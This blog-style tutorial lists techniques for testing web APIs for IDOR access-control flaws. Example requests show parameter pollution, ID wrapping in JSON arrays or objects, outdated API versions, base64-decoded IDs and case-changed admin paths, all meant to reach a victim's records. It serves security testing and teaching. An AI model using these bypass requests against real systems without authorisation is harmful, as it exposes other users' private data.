Posts Idor Tips
Post
Cancel

Idor Tips

Click heret

title: IDOR Tips author: Elsfa7-110 categories: [IDOR, Tutorial] tags: [IDOR] pin: true —

IDOR (Insecure Direct Object Reference)

Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.

  1. Add parameters onto the endpoints for example, if there was
    1
    2
    
    GET /api/v1/getuser
    [...]
    

    Try this to bypass

    1
    2
    
    GET /api/v1/getuser?id=1234
    [...]
    
  2. HTTP Parameter pollution
1
2
3
POST /api/get_profile
[...]
user_id=hacker_id&user_id=victim_id
  1. Add .json to the endpoint
1
2
GET /v2/GetData/1234
[...]

Try this to bypass

1
2
GET /v2/GetData/1234.json
[...]
  1. Test on outdated API Versions
1
2
3
POST /v2/GetData
[...]
id=123

Try this to bypass

1
2
3
POST /v1/GetData
[...]
id=123
  1. Wrap the ID with an array.
1
2
3
POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

1
2
3
POST /api/get_profile
[...]
{"id":[111]}
  1. Wrap the ID with a JSON object
1
2
3
POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

1
2
3
POST /api/get_profile
[...]
{"user_id":{"user_id":111}}
  1. JSON Parameter Pollution
1
2
3
POST /api/get_profile
[...]
{"user_id":"hacker_id","user_id":"victim_id"}
  1. Try decode the ID, if the ID encoded using md5,base64,etc
    1
    2
    
    GET /GetUser/dmljdGltQG1haWwuY29t
    [...]
    

    dmljdGltQG1haWwuY29t => victim@mail.com

  2. If the website using graphql, try to find IDOR using graphql!
    1
    2
    
    GET /graphql
    [...]
    
    1
    2
    
    GET /graphql.php?query=
    [...]
    
  3. MFLAC (Missing Function Level Access Control)
    1
    
    GET /admin/profile
    

    Try this to bypass

    1
    
    GET /ADMIN/profile
    
This post is licensed under CC BY 4.0 by the author.
Contents

Trending Tags